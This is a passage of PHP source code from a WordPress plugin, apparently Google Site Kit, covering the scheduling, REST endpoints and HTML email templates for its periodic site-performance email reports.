slug. * @param int $timestamp Base timestamp for the batch. * @param int $delay Delay in seconds before fallback runs. */ public function schedule_fallback( $batch_id, $frequency, $timestamp, $delay = HOUR_IN_SECONDS ) { $args = array( $batch_id, $frequency, $timestamp ); if ( wp_next_scheduled( self::ACTION_FALLBACK, $args ) ) { return; } wp_schedule_single_event( $timestamp + $delay, self::ACTION_FALLBACK, $args ); } /** * Ensures the monitor event is scheduled daily. * * @since 1.167.0 */ public function schedule_monitor() { if ( wp_next_scheduled( self::ACTION_MONITOR ) ) { return; } wp_schedule_event( time(), 'daily', self::ACTION_MONITOR ); } /** * Ensures a recurring cleanup event exists. * * @since 1.167.0 */ public function schedule_cleanup() { if ( wp_next_scheduled( self::ACTION_CLEANUP ) ) { return; } wp_schedule_event( time(), 'monthly', self::ACTION_CLEANUP ); } /** * Unschedules all email reporting related events. * * @since 1.167.0 */ public function unschedule_all() { foreach ( array( self::ACTION_INITIATOR, self::ACTION_WORKER, self::ACTION_FALLBACK, self::ACTION_MONITOR, self::ACTION_CLEANUP ) as $hook ) { wp_unschedule_hook( $hook ); } } /** * Registers a monthly cron schedule if one does not exist. * * @since 1.167.0 * * @param array $schedules Existing schedules. * @return array Modified schedules including a monthly interval. */ public static function register_monthly_schedule( $schedules ) { if ( isset( $schedules['monthly'] ) ) { return $schedules; } $schedules['monthly'] = array( 'interval' => MONTH_IN_SECONDS, 'display' => __( 'Once Monthly', 'google-site-kit' ), ); return $schedules; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\REST_Email_Reporting_Controller * * @package Google\Site_Kit * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\Modules\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Email_Reporting_Settings as User_Email_Reporting_Settings; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; use WP_User; /** * Class for handling Email Reporting site settings via REST API. * * @since 1.162.0 * @access private * @ignore */ class REST_Email_Reporting_Controller { /** * Email_Reporting_Settings instance. * * @since 1.162.0 * @var Email_Reporting_Settings */ private $settings; /** * Modules instance. * * @since 1.170.0 * @var Modules */ private $modules; /** * Was_Analytics_4_Connected instance. * * @since 1.168.0 * @var Was_Analytics_4_Connected */ private $was_analytics_4_connected; /** * User_Email_Reporting_Settings instance. * * @since 1.170.0 * @var User_Email_Reporting_Settings */ private $user_email_reporting_settings; /** * Eligible_Subscribers_Query instance. * * @since 1.170.0 * @var Eligible_Subscribers_Query */ private $eligible_subscribers_query; /** * Constructor. * * @since 1.162.0 * @since 1.170.0 Added modules and user email reporting settings dependencies. * * @param Email_Reporting_Settings $settings Email_Reporting_Settings instance. * @param Was_Analytics_4_Connected $was_analytics_4_connected Was_Analytics_4_Connected instance. * @param Modules $modules Modules instance. * @param User_Options $user_options User options instance. * @param User_Email_Reporting_Settings $user_email_reporting_settings User email reporting settings instance. */ public function __construct( Email_Reporting_Settings $settings, Was_Analytics_4_Connected $was_analytics_4_connected, Modules $modules, User_Options $user_options, User_Email_Reporting_Settings $user_email_reporting_settings ) { $this->settings = $settings; $this->modules = $modules; $this->was_analytics_4_connected = $was_analytics_4_connected; $this->user_email_reporting_settings = $user_email_reporting_settings; $this->eligible_subscribers_query = new Eligible_Subscribers_Query( $this->modules, $user_options ); } /** * Registers functionality through WordPress hooks. * * @since 1.162.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); add_filter( 'googlesitekit_apifetch_preload_paths', function ( $paths ) { return array_merge( $paths, array( '/' . REST_Routes::REST_ROOT . '/core/site/data/email-reporting', '/' . REST_Routes::REST_ROOT . '/core/site/data/was-analytics-4-connected', '/' . REST_Routes::REST_ROOT . '/core/site/data/email-reporting-eligible-subscribers', ) ); } ); } /** * Gets REST route instances. * * @since 1.162.0 * * @return REST_Route[] List of REST_Route objects. */ protected function get_rest_routes() { $can_access = function () { return current_user_can( Permissions::VIEW_SPLASH ) || current_user_can( Permissions::VIEW_DASHBOARD ); }; $can_manage = function () { return current_user_can( Permissions::MANAGE_OPTIONS ); }; return array( new REST_Route( 'core/site/data/email-reporting', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { return new WP_REST_Response( $this->settings->get() ); }, 'permission_callback' => $can_access, ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $this->settings->set( $request['data']['settings'] ); return new WP_REST_Response( $this->settings->get() ); }, 'permission_callback' => $can_access, 'args' => array( 'data' => array( 'type' => 'object', 'required' => true, 'properties' => array( 'settings' => array( 'type' => 'object', 'required' => true, 'minProperties' => 1, 'additionalProperties' => false, 'properties' => array( 'enabled' => array( 'type' => 'boolean', 'required' => true, ), ), ), ), ), ), ), ) ), new REST_Route( 'core/site/data/email-reporting-eligible-subscribers', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { $meta_key = $this->user_email_reporting_settings->get_meta_key(); $eligible_users = $this->eligible_subscribers_query->get_eligible_users( get_current_user_id() ); $data = array_map( function ( WP_User $user ) use ( $meta_key ) { return $this->map_user_to_response( $user, $meta_key ); }, $eligible_users ); return new WP_REST_Response( array_values( $data ) ); }, 'permission_callback' => $can_manage, ), ) ), new REST_Route( 'core/site/data/was-analytics-4-connected', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => function () { return new WP_REST_Response( array( 'wasConnected' => $this->was_analytics_4_connected->get() ) ); }, 'permission_callback' => $can_access, ), ) ), ); } /** * Maps a user to the REST response shape. * * @since 1.170.0 * * @param WP_User $user User object. * @param string $meta_key User meta key for email reporting settings. * @return array */ private function map_user_to_response( WP_User $user, $meta_key ) { $settings = get_user_meta( $user->ID, $meta_key, true ); return array( 'id' => (int) $user->ID, 'displayName' => $user->display_name, 'email' => $user->user_email, 'role' => $this->get_primary_role( $user ), 'subscribed' => is_array( $settings ) && ! empty( $settings['subscribed'] ), ); } /** * Gets the primary role of the user. * * @since 1.170.0 * * @param WP_User $user User object. * @return string */ private function get_primary_role( WP_User $user ) { if ( empty( $user->roles ) ) { return ''; } $roles = array_values( $user->roles ); return (string) reset( $roles ); } } <?php /** * Base template for the email-report email. * * This template receives $data containing both metadata and $sections. * Sections are already processed with their rendered parts. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $data All template data including metadata and sections. */ // Extract metadata from data. // These keys are always present as they are mapped in Email_Template_Data, // so we access them directly without checking for existence. $subject = $data['subject']; $preheader = $data['preheader']; $site_domain = $data['site']['domain']; $date_label = $data['date_range']['label']; $primary_cta = $data['primary_call_to_action']; $footer_content = $data['footer']; $sections = $data['sections']; $get_asset_url = $data['get_asset_url']; $render_part = $data['render_part']; $render_shared_part = $data['render_shared_part']; ?> <!doctype html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office"> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <?php /* Outlook requires this VML to prevent visual bugs when DPI is scaled on Windows. */ ?> <!--[if gte mso 9]> <xml> <o:OfficeDocumentSettings> <o:AllowPNG/> <o:PixelsPerInch>96</o:PixelsPerInch> </o:OfficeDocumentSettings> </xml> <![endif]--> <title><?php echo esc_html( $subject ); ?></title> <style> :root { color-scheme: light; } body { background-color: #F3F5F7; margin: 0; padding: 0; font-family: 'Google Sans', Roboto, Arial, sans-serif; font-size: 14px; line-height: 1.4; color: #202124; } table { border-spacing: 0; border-collapse: separate; width: 100%; } img { border: 0; max-width: 100%; height: auto; line-height: 100%; } .body { width: 100%; <?php /* Outlook only allows max-width when set on table elements. */ ?> max-width: 520px; background-color: #F3F5F7; } .container { max-width: 520px; margin: 0 auto; padding: 0; width: 100%; box-sizing: border-box; } .main { width: 100%; max-width: 520px; margin: 0 auto; } .wrapper { box-sizing: border-box; padding: 0 16px 40px 16px; } .preheader { display: none !important; visibility: hidden; mso-hide: all; font-size: 1px; color: #F3F5F7; line-height: 1px; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; } </style> </head> <body> <span class="preheader"><?php echo esc_html( $preheader ); ?></span> <?php /* Outlook centering: use fixed-width table wrapper. */ ?> <!--[if mso]> <table role="presentation" align="center" width="520" cellpadding="0" cellspacing="0" border="0" style="width:520px;"> <tr> <td align="center"> <![endif]--> <table role="presentation" class="body" align="center" width="100%" style="max-width: 520px; margin: 0 auto;"> <tr> <td> </td> <td class="container" align="center"> <table role="presentation" class="main" align="center"> <tr> <td class="wrapper"> <?php // Render header. $render_part( 'header', array( 'site_domain' => $site_domain, 'date_label' => $date_label, 'get_asset_url' => $get_asset_url, ) ); // Render each section with its parts. foreach ( $sections as $section_key => $section ) { // Skip sections without parts. if ( empty( $section['section_parts'] ) ) { continue; } // If a section_template is specified, use it to render the entire section. if ( ! empty( $section['section_template'] ) ) { $render_part( $section['section_template'], array( 'section' => $section, 'render_part' => $render_part, 'render_shared_part' => $render_shared_part, 'get_asset_url' => $get_asset_url, ) ); continue; } } // Render footer. $render_shared_part( 'footer', array( 'cta' => $primary_cta, 'footer' => $footer_content, 'render_shared_part' => $render_shared_part, ) ); ?> </td> </tr> </table> </td> <td> </td> </tr> </table> <!--[if mso]> </td> </tr> </table> <![endif]--> </body> </html> <?php /** * Conversions timeline image part. * * Renders a timeline image based on whether the change is positive or negative. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var float $change The percentage change value. * @var callable $get_asset_url Function to get asset URLs. */ $is_positive = (float) $change >= 0; $image_url = $get_asset_url( $is_positive ? 'conversions-timeline-green.png' : 'conversions-timeline-red.png' ); $alt_text = $is_positive ? __( 'Positive trend indicator', 'google-site-kit' ) : __( 'Negative trend indicator', 'google-site-kit' ); ?> <img src="<?php echo esc_url( $image_url ); ?>" alt="<?php echo esc_attr( $alt_text ); ?>" width="9" height="192" style="margin-right: 10px;" /> <?php /** * Header section for the email-report template. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var string $site_domain The site domain. * @var string $date_label The date range label. * @var callable $get_asset_url Function to generate asset URLs. */ $logo_url = $get_asset_url( 'site-kit-logo.png' ); $shooting_stars_url = $get_asset_url( 'shooting-stars-graphic.png' ); ?> <table role="presentation" width="100%"> <tr> <td style="padding-bottom:16px;"> <table role="presentation" width="100%"> <tr> <td style="vertical-align:top;" width="79"> <img src="<?php echo esc_url( $logo_url ); ?>" alt="<?php echo esc_attr__( 'Site Kit by Google', 'google-site-kit' ); ?>" width="79" height="22" style="display:block; margin-top: 12px;" /> </td> <?php /* Extra centering for Outlook. */ ?> <td style="vertical-align:top; text-align:center;" align="center"> <center> <img src="<?php echo esc_url( $shooting_stars_url ); ?>" alt="" width="107" height="56" style="display:block; margin: 24px auto 0 auto;" align="center" /> </center> </td> <td width="79"> </td> </tr> <tr> <td style="text-align:center; vertical-align:middle; font-size:13px; color: #161B18;" colspan="3"> <h1 style="font-weight: 400; font-size: 22px; line-height: 28px; margin: 0"><?php echo esc_html__( 'Your performance at a glance', 'google-site-kit' ); ?></h1> <div style="font-weight: 500; size: 14px; line-height: 20px; margin: 0; margin-top: 2px;"><?php echo esc_html( $date_label ); ?></div> <?php /* This domain is linked so that we can enforce our styles within email clients which otherwise detect it as a link and add their own styles. */ ?> <div style="font-weight: 400; font-size: 14px; line-height: 20px; margin: 0; margin-top: 4px;"><a href="<?php echo esc_url( '//' . $site_domain ); ?>" style="color: #6C726E; text-decoration: none;"><?php echo esc_html( $site_domain ); ?></a></div> </td> </tr> </table> </td> </tr> </table> <?php /** * Conversion metrics template part. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $data Conversion metric data. * @var string $top_traffic_channel Top traffic channel driving conversions. * @var callable $render_part Function to render a template part by name. * @var callable $render_shared_part Function to render a shared part by name. * @var callable $get_asset_url Function to get asset URLs. */ $value = $data['value']; $label = $data['label']; $event_name = $data['event_name']; $dimension = $data['dimension']; $dimension_value = $data['dimension_value']; $change = $data['change']; $change_context = $data['change_context']; ?> <table role="presentation" width="100%" style="margin-bottom:16px;"> <tr> <td> <?php $render_part( 'conversions-timeline', array( 'change' => $change, 'get_asset_url' => $get_asset_url, ) ); ?> </td> <td> <div style="font-size:16px; line-height:24px; font-weight:500; margin-bottom:6px;"> <?php echo esc_html( $label ); ?> </div> <div style="height: 22px; margin-bottom: 16px;"> <?php // TODO: Add detected in tag in v1. ?> </div> <table role="presentation" width="100%" style="padding-bottom: 10px; border-bottom: 1px solid #EBEEF0; margin-bottom: 10px;"> <tr> <td style="font-size:12px; font-weight:500; color:#6C726E; text-align: left; padding-bottom: 10px;"> <?php printf( /* translators: %s: Event name (e.g., "Purchase") */ esc_html__( '"%s" events', 'google-site-kit' ), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Event name is already escaped above. ucfirst( $event_name ) ); ?> </td> <td width="110" style="font-size:12px; font-weight:500; color:#6C726E; text-align: right; width: 110px; padding-bottom: 10px;"> <?php echo esc_html( $change_context ); ?> </td> </tr> <tr> <td> <div style="font-size:14px; line-height:20px; font-weight:500;"> <?php echo esc_html( $value ); ?> </div> </td> <td style="text-align: right;"> <?php $render_shared_part( 'change-badge', array( 'value' => $change, ) ); ?> </td> </tr> </table> <?php if ( ! empty( $dimension ) ) : ?> <div style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; margin-bottom:4px;"> <?php esc_html_e( 'Top traffic channel driving the most conversions', 'google-site-kit' ); ?> </div> <div style="font-size:14px; line-height:20px; font-weight:500;"> <?php echo esc_html( $dimension_value ); ?> </div> <?php endif; ?> </td> </tr> </table> <?php /** * Metrics section template. * * This template renders a section with individual metric rows (e.g., visitors section). * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $section Section configuration including title, icon, section_parts. * @var callable $render_part Function to render a template part by name. * @var callable $render_shared_part Function to render a shared part by name. * @var callable $get_asset_url Function to get asset URLs. */ $section_title = $section['title']; $section_icon = $section['icon']; $dashboard_url = $section['dashboard_url']; $section_parts = $section['section_parts']; // Get the first metric's change_context for the subtitle. $first_part = reset( $section_parts ); $subtitle = $first_part['data']['change_context'] ?? ''; ?> <table role="presentation" width="100%" style="margin-bottom:24px;"> <tr> <td style="background-color: #FFFFFF; border-radius: 16px; padding: 16px;"> <?php // Render section header. $icon_url = $get_asset_url( 'icon-' . esc_html( $section_icon ) . '.png' ); $render_part( 'section-header', array( 'icon' => $icon_url, 'title' => $section_title, 'subtitle' => '', ) ); ?> <table role="presentation" width="100%" style="margin-bottom:12px;"> <tr> <td> </td> <td width="110" style="text-align: right; font-size:12px; line-height:16px; font-weight:500; color:#6C726E; width: 110px;"> <?php echo esc_html( $subtitle ); ?> </td> </tr> <?php $total_parts = count( $section_parts ); $current = 0; // Render each metric row. foreach ( $section_parts as $part_key => $part_config ) { ++$current; $data = $part_config['data']; $is_last = $current === $total_parts; $border_style = $is_last ? 'none' : '1px solid #EBEEF0'; if ( empty( $data ) ) { continue; } ?> <tr> <td style="vertical-align: top; border-bottom: <?php echo esc_attr( $border_style ); ?>; padding: 12px 0;"> <div style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; margin-bottom:4px;"> <?php echo esc_html( $data['label'] ); ?> </div> <div style="font-size:14px; line-height:20px; font-weight:500;"> <?php echo esc_html( $data['value'] ); ?> </div> </td> <td style="text-align: right; vertical-align: middle; border-bottom: <?php echo esc_attr( $border_style ); ?>; padding: 12px 0;"> <?php $render_shared_part( 'change-badge', array( 'value' => $data['change'], ) ); ?> </td> </tr> <?php } ?> </table> <?php // Render view more in dashboard link. $render_part( 'view-more-in-dashboard', array( 'url' => $dashboard_url, 'get_asset_url' => $get_asset_url, ) ); ?> </td> </tr> </table> <?php /** * Page metrics section template. * * This template renders a section with grouped metric tables (e.g., top pages, authors, categories). * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $section Section configuration including title, icon, section_parts. * @var callable $render_part Function to render a template part by name. * @var callable $render_shared_part Function to render a shared part by name. * @var callable $get_asset_url Function to get asset URLs. */ use Google\Site_Kit\Core\Email_Reporting\Sections_Map; $section_title = $section['title']; $section_icon = $section['icon']; $dashboard_url = $section['dashboard_url']; $section_parts = $section['section_parts']; // Get the first item's change_context for the subtitle. $first_part = reset( $section_parts ); $first_data_item = ! empty( $first_part['data'] ) ? $first_part['data'] : array(); $subtitle = $first_data_item['change_context'] ?? ''; ?> <table role="presentation" width="100%" style="margin-bottom:24px;"> <tr> <td style="background-color: #FFFFFF; border-radius: 16px; padding: 16px;"> <?php // Render section header. $icon_url = $get_asset_url( 'icon-' . esc_html( $section_icon ) . '.png' ); $render_part( 'section-header', array( 'icon' => $icon_url, 'title' => $section_title, 'subtitle' => '', ) ); // Render each metric group. foreach ( $section_parts as $part_key => $part_config ) { $is_last_section_part = array_key_last( $section_parts ) === $part_key; $data = $part_config['data']; $part_label = Sections_Map::get_part_label( $part_key ); if ( empty( $data ) ) { continue; } $change_context = $data['change_context'] ?? ''; ?> <table role="presentation" width="100%" style="margin-bottom:16px;"> <tr> <td style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; padding-bottom:8px;"> <div style="width: 160px;"> <?php echo esc_html( $part_label ); ?> </div> </td> <td style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; text-align:right; padding-bottom:8px; text-align:right; width: 110px;"> <?php echo esc_html( $change_context ); ?> </td> </tr> <?php foreach ( $data['dimension_values'] as $index => $item ) { $is_last = array_key_last( $data ) === $index; $border_style = $is_last && ! $is_last_section_part ? '1px solid #EBEEF0' : 'none'; $has_url = ! empty( $item['url'] ); // Build entity dashboard URL from page URL. $entity_url = ''; if ( $has_url ) { $entity_url = add_query_arg( 'permaLink', $item['url'], $dashboard_url ) . '#traffic'; } ?> <tr> <td colspan="2" style="border-bottom: <?php echo esc_attr( $border_style ); ?>; padding: 5px 0; <?php echo $is_last && ! $is_last_section_part ? 'padding-bottom: 16px;' : ''; ?>"> <?php // Nested table required to ensure truncation works correctly for longer labels. ?> <table role="presentation" width="100%"> <tr> <td style="font-size:14px; line-height:20px; font-weight:500; max-width:150px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;"> <?php if ( $has_url ) : ?> <a href="<?php echo esc_url( $entity_url ); ?>" style="color:#161B18; text-decoration:underline;"> <?php echo esc_html( $item['label'] ); ?> </a> <?php else : ?> <?php echo esc_html( $item ); ?> <?php endif; ?> </td> <td style="font-size:14px; line-height:20px; font-weight:500; text-align:right; width:80px;"> <?php echo esc_html( $data['values'][ $index ] ?? 0 ); ?> </td> <td style="text-align:right; width:80px;"> <?php $render_shared_part( 'change-badge', array( 'value' => $data['changes'][ $index ] ?? 0, ) ); ?> </td> </tr> </table> </td> </tr> <?php } ?> </table> <?php } // Render view more in dashboard link. $render_part( 'view-more-in-dashboard', array( 'url' => $dashboard_url, 'get_asset_url' => $get_asset_url, ) ); ?> </td> </tr> </table> <?php /** * Conversions section template. * * This template renders the conversions metrics section with its header and parts. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $section Section configuration including title, icon, section_parts. * @var callable $render_part Function to render a template part by name. * @var callable $render_shared_part Function to render a shared part by name. * @var callable $get_asset_url Function to get asset URLs. */ $section_title = $section['title']; $section_icon = $section['icon']; $dashboard_url = $section['dashboard_url']; $section_parts = $section['section_parts']; ?> <table role="presentation" width="100%" style="margin-bottom:24px;"> <tr> <td style="background-color: #FFFFFF; border-radius: 16px; padding: 16px;"> <?php // Render section header. $icon_url = $get_asset_url( 'icon-' . esc_html( $section_icon ) . '.png' ); $render_part( 'section-header', array( 'icon' => $icon_url, 'title' => $section_title, 'subtitle' => $section_parts['total_conversion_events']['data']['change_context'], ) ); // Render total conversion events part. ?> <table role="presentation" width="100%" style="margin-bottom:16px;"> <tr> <td style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E;"> <?php echo esc_html( $section_parts['total_conversion_events']['data']['label'] ); ?> </td> <td width="110" style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; text-align: right; width: 110px;"> <?php echo esc_html( $section_parts['total_conversion_events']['data']['change_context'] ); ?> </td> </tr> <tr> <td style="font-size:14px; line-height:20px; font-weight:500;"> <?php echo esc_html( $section_parts['total_conversion_events']['data']['value'] ); ?> </td> <td style="text-align: right; padding: 6px 0;"> <?php $render_shared_part( 'change-badge', array( 'value' => $section_parts['total_conversion_events']['data']['change'], ) ); ?> </td> </tr> </table> <?php // Render conversion metric parts (excluding total_conversion_events). foreach ( $section_parts as $part_key => $part_config ) { // Skip total_conversion_events as it's rendered separately above. if ( 'total_conversion_events' === $part_key || empty( $part_config['data'] ) ) { continue; } $render_part( 'section-conversions-metric-part', array( 'data' => $part_config['data'], 'render_part' => $render_part, 'render_shared_part' => $render_shared_part, 'get_asset_url' => $get_asset_url, ) ); } // Render view more in dashboard link. $render_part( 'view-more-in-dashboard', array( 'url' => $dashboard_url, 'get_asset_url' => $get_asset_url, ) ); ?> </td> </tr> </table> <?php /** * Section header for email report sections. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var string $icon URL to the section icon. * @var string $title Section title. * @var string $subtitle Section subtitle. */ ?> <table role="presentation" width="100%" style="margin-bottom:12px;"> <tr> <td> <table role="presentation" width="100%"> <tr> <td style="width:72px; vertical-align:top;"> <?php /* translators: %s: Section title */ $icon_alt = sprintf( __( '%s section icon', 'google-site-kit' ), $title ); ?> <img src="<?php echo esc_url( $icon ); ?>" alt="<?php echo esc_attr( $icon_alt ); ?>" width="30" height="30" style="display:block; margin-bottom:12px;" /> </td> </tr> <tr> <td style="vertical-align:top;"> <div style="font-size:18px; line-height:24px; font-weight:500;"> <?php echo esc_html( $title ); ?> </div> <div style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E;"> <?php echo esc_html( $subtitle ); ?> </div> </td> </tr> </table> </td> </tr> </table> <?php /** * View more in dashboard link part. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var string $url The dashboard URL. * @var string $label Optional link label. * @var callable $get_asset_url Function to get asset URLs. */ $label = $label ?? __( 'View more in dashboard', 'google-site-kit' ); $arrow_url = $get_asset_url( 'icon-link-arrow.png' ); ?> <table role="presentation" width="100%"> <tr> <td style="text-align:right; height: 16px;" height="16"> <a href="<?php echo esc_url( $url ); ?>" style="font-size:12px; line-height:16px; font-weight:500; color:#108080; text-decoration:none;"> <?php echo esc_html( $label ); ?> <img src="<?php echo esc_url( $arrow_url ); ?>" alt="" width="10" height="10" style="vertical-align:middle; margin-left:4px; margin-bottom: 2px;" /> </a> </td> </tr> </table> <?php /** * Change badge reusable part. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var float|null $value The percentage change value. */ $change_value = (float) $value; $color = '#1F4C04'; $background = '#D8FFC0'; if ( $change_value < 0 ) { $color = '#7A1E00'; $background = '#FFDED3'; } $prefix = $change_value > 0 ? '+' : ''; $display_value = $prefix . round( $change_value, 1 ) . '%'; ?> <?php /* Outlook requires custom VML for rounded corners. */ ?> <!--[if mso]> <v:roundrect xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="urn:schemas-microsoft-com:office:word"style="mso-wrap-style:none; mso-fit-shape-to-text: true; height:28;" arcsize="50%" strokecolor="<?php echo esc_attr( $background ); ?>" fillcolor="<?php echo esc_attr( $background ); ?>"> <w:anchorlock/> <center style="font-family:Arial,sans-serif; font-size:12px; font-weight:500; color:<?php echo esc_attr( $color ); ?>;"> <?php echo esc_html( $display_value ); ?> </center> </v:roundrect> <![endif]--> <!--[if !mso]><!--> <span style="display:inline-block; padding:4px 8px; border-radius:12px; font-size:12px; font-weight:500; background:<?php echo esc_attr( $background ); ?>; color:<?php echo esc_attr( $color ); ?>; mso-hide:all;"> <?php echo esc_html( $display_value ); ?> </span> <!--<![endif]--> <?php /** * Footer part shared across email templates. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var array $cta Primary CTA configuration with 'url' and 'label'. * @var array $footer Footer configuration with 'copy', 'unsubscribe_url', and 'links'. * @var callable $render_shared_part Function to render a shared part by name. */ ?> <table role="presentation" width="100%" style="margin-top:24px;"> <tr> <td style="text-align:center;"> <?php if ( ! empty( $cta['url'] ) ) : ?> <div style="margin-bottom:60px;"> <?php $render_shared_part( 'dashboard-link', array( 'url' => $cta['url'], 'label' => isset( $cta['label'] ) ? $cta['label'] : __( 'View dashboard', 'google-site-kit' ), ) ); ?> </div> <?php endif; ?> <?php if ( ! empty( $footer['copy'] ) ) : ?> <p style="font-size:12px; line-height:16px; font-weight:500; color:#6C726E; margin-bottom: 30px; text-align: left;"> <?php $unsubscribe_link = ''; if ( ! empty( $footer['unsubscribe_url'] ) ) { $unsubscribe_link = sprintf( '<a href="%s" style="color:#108080; text-decoration:none;">%s</a>', esc_url( $footer['unsubscribe_url'] ), esc_html__( 'here', 'google-site-kit' ) ); } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Link is escaped above. printf( '%s %s.', esc_html( $footer['copy'] ), $unsubscribe_link ); ?> </p> <?php endif; ?> <?php if ( ! empty( $footer['links'] ) && is_array( $footer['links'] ) ) : ?> <table role="presentation" width="100%" style="font-size:12px; line-height:18px;"> <tr> <?php $alignments = array( 'left', 'center', 'right' ); foreach ( $footer['links'] as $index => $footer_link ) : $align = isset( $alignments[ $index ] ) ? $alignments[ $index ] : 'center'; ?> <td width="33.33%" style="text-align:<?php echo esc_attr( $align ); ?>;"> <a href="<?php echo esc_url( $footer_link['url'] ); ?>" style="color:#6C726E; text-decoration:none; font-size:12px; line-height:16px; font-weight:500;" target="_blank" rel="noopener"> <?php echo esc_html( $footer_link['label'] ); ?> </a> </td> <?php endforeach; ?> </tr> </table> <?php endif; ?> </td> </tr> </table> <?php /** * Dashboard link reusable part. * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com * * @var string $url The dashboard URL. * @var string $label The link label. */ $label = $label ?? __( 'Open dashboard', 'google-site-kit' ); ?> <?php /* Outlook requires custom VML for rounded corners. */ ?> <!--[if mso]> <v:roundrect xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="urn:schemas-microsoft-com:office:word" href="<?php echo esc_url( $url ); ?>" style="mso-wrap-style:none; mso-fit-shape-to-text: true; height:36; width:134;" arcsize="50%" strokecolor="#3C7251" fillcolor="#3C7251"> <w:anchorlock/> <center style="font-family:Arial,sans-serif; font-size:14px; font-weight:500; color:#ffffff; text-decoration:none; mso-line-height-rule:exactly;"> <?php echo esc_html( $label ); ?> </center> </v:roundrect> <![endif]--> <!--[if !mso]><!--> <a href="<?php echo esc_url( $url ); ?>" style="font-size:14px; line-height:20px; font-weight:500; text-decoration:none; display:inline-block; background:#3C7251; color:#ffffff; padding:10px 16px; border-radius:100px; mso-hide:all;" rel="noopener" target="_blank"> <?php echo esc_html( $label ); ?> </a> <!--<![endif]--> <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Worker_Task * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; /** * Handles worker cron callbacks for email reporting. * * @since 1.167.0 * @access private * @ignore */ class Worker_Task { /** * Email log batch query helper. * * @since 1.167.0 * * @var Email_Log_Batch_Query */ private $batch_query; /** * Scheduler instance. * * @since 1.167.0 * * @var Email_Reporting_Scheduler */ private $scheduler; /** * Email log processor. * * @since 1.170.0 * * @var Email_Log_Processor */ private $log_processor; /** * Max execution limiter. * * @since 1.167.0 * * @var Max_Execution_Limiter */ private $max_execution_limiter; /** * Constructor. * * @since 1.167.0 * * @param Max_Execution_Limiter $max_execution_limiter Execution limiter instance. * @param Email_Log_Batch_Query $batch_query Batch query helper. * @param Email_Reporting_Scheduler $scheduler Scheduler instance. * @param Email_Log_Processor $log_processor Log processor instance. */ public function __construct( Max_Execution_Limiter $max_execution_limiter, Email_Log_Batch_Query $batch_query, Email_Reporting_Scheduler 